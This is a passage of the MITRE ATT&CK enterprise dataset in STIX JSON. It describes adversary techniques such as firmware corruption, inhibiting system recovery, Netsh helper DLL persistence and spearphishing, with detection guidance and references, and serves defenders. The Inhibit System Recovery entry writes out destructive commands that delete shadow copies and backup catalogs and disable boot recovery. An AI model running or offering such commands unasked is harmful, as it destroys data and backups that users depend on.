2011","description":"Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.","url":"https://github.com/jay/gethooks"},{"source_name":"StackExchange Hooks Jul 2012","description":"Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.","url":"https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"},{"source_name":"Adlice Software IAT Hooks Oct 2014","description":"Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.","url":"https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"},{"source_name":"Volatility Detecting Hooks Sept 2012","description":"Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.","url":"https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","created":"2019-04-12T18:28:15.451Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1495","url":"https://attack.mitre.org/techniques/T1495"},{"source_name":"cisa_malware_orgs_ukraine","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-057a","description":"CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022."},{"source_name":"dhs_threat_to_net_devices","url":"https://cyber.dhs.gov/assets/report/ar-16-20173.pdf","description":"U.S. Department of Homeland Security. (2016, August 30). The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations. Retrieved July 29, 2022."},{"source_name":"MITRE Trustworthy Firmware Measurement","url":"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research","description":"Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016."},{"source_name":"Symantec Chernobyl W95.CIH","url":"https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99","description":"Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). ","modified":"2022-08-31T17:30:05.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Firmware Corruption","x_mitre_detection":"System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Firmware: Firmware Modification"],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-24T13:27:31.881Z","name":"Inhibit System Recovery","description":"Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nAdversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["Yonatan Gotlib, Deep Instinct","Austin Clark, @c2defense","Pallavi Sivakumaran, WithSecure","Joey Lei","Harjot Shah Singh"],"x_mitre_deprecated":false,"x_mitre_detection":"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage).\n\nFor network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux","Network","IaaS","Containers"],"x_mitre_version":"1.5","x_mitre_data_sources":["Process: Process Creation","Windows Registry: Windows Registry Key Modification","Cloud Storage: Cloud Storage Deletion","Command: Command Execution","Service: Service Metadata","Snapshot: Snapshot Deletion","File: File Deletion"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","created":"2019-04-02T13:54:43.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1490","external_id":"T1490"},{"source_name":"Dark Reading Code Spaces Cyber Attack","description":" Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.","url":"https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack"},{"source_name":"FireEye WannaCry 2017","description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"},{"source_name":"Talos Olympic Destroyer 2018","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"},{"source_name":"Diskshadow","description":"Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.","url":"https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow"},{"source_name":"Crytox Ransomware","description":"Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware"},{"source_name":"Rhino Security Labs AWS S3 Ransomware","description":"Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.","url":"https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/"},{"source_name":"ZDNet Ransomware Backups 2020","description":"Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.","url":"https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/"},{"source_name":"disable_notif_synology_ransom","description":"TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.","url":"https://x.com/TheDFIRReport/status/1498657590259109894"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","created":"2020-01-24T14:26:51.207Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1546.007","url":"https://attack.mitre.org/techniques/T1546/007"},{"source_name":"Demaske Netsh Persistence","url":"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html","description":"Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017."},{"source_name":"TechNet Netsh","url":"https://technet.microsoft.com/library/bb490939.aspx","description":"Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017."},{"source_name":"Github Netsh Helper CS Beacon","url":"https://github.com/outflankbv/NetshHelperBeacon","description":"Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)","modified":"2022-04-20T17:09:17.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Netsh Helper DLL","x_mitre_detection":"It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Windows Registry: Windows Registry Key Modification","Module: Module Load","Process: Process Creation"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:16:30.272Z","name":"Spearphishing via Service","description":"Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"2.0","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Application Log: Application Log Content","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","created":"2020-03-02T19:24:00.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1566/003","external_id":"T1566.003"},{"source_name":"Lookout Dark Caracal Jan 2018","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-07T14:29:02.408Z","name":"Internal Proxy","description":"Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","created":"2020-03-14T23:08:20.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1090/001","external_id":"T1090.001"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Trend Micro APT Attack Tools","description":"Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian","Wes Hurd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1216","url":"https://attack.mitre.org/techniques/T1216"},{"source_name":"GitHub Ultimate AppLocker Bypass List","url":"https://github.com/api0cradle/UltimateAppLockerByPassList","description":"Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018."},{"source_name":"LOLBAS Project","url":"https://github.com/LOLBAS-Project/LOLBAS#criteria","description":"Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)","modified":"2022-04-18T14:43:46.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"System Script Proxy Execution","x_mitre_detection":"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Script: Script Execution"],"x_mitre_defense_bypassed":["Application control","Digital Certificate Validation"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00","type":"attack-pattern","created":"2017-05-31T21:31:10.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1094","url":"https://attack.mitre.org/techniques/T1094"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-20T19:03:04.295Z","name":"Custom Command and Control Protocol","description":"Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","type":"attack-pattern","created":"2020-03-14T22:24:21.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1102.001","url":"https://attack.mitre.org/techniques/T1102/001"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T23:12:30.499Z","name":"Dead Drop Resolver","description":"Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b","type":"attack-pattern","created":"2017-05-31T21:31:27.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"external_id":"T1118","url":"https://attack.mitre.org/techniques/T1118","source_name":"mitre-attack"},{"source_name":"MSDN InstallUtil","description":"Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/50614e95.aspx"},{"source_name":"LOLBAS Installutil","url":"https://lolbas-project.github.io/lolbas/Binaries/Installutil/","description":"LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."}],"modified":"2020-01-31T18:59:38.256Z","name":"InstallUtil","description":"InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"},{"phase_name":"execution","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Process whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2024-02-02T20:10:01.862Z","name":"Junk Data","description":"Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","created":"2020-03-15T00:30:25.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1001/001","external_id":"T1001.001"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Robert Simmons, @MalwareUtkonos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6","type":"attack-pattern","created":"2020-10-02T17:08:07.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1598.001","url":"https://attack.mitre.org/techniques/T1598/001"},{"source_name":"ThreatPost Social Media Phishing","url":"https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/","description":"O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:43:12.843Z","name":"Spearphishing Service","description":"Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as 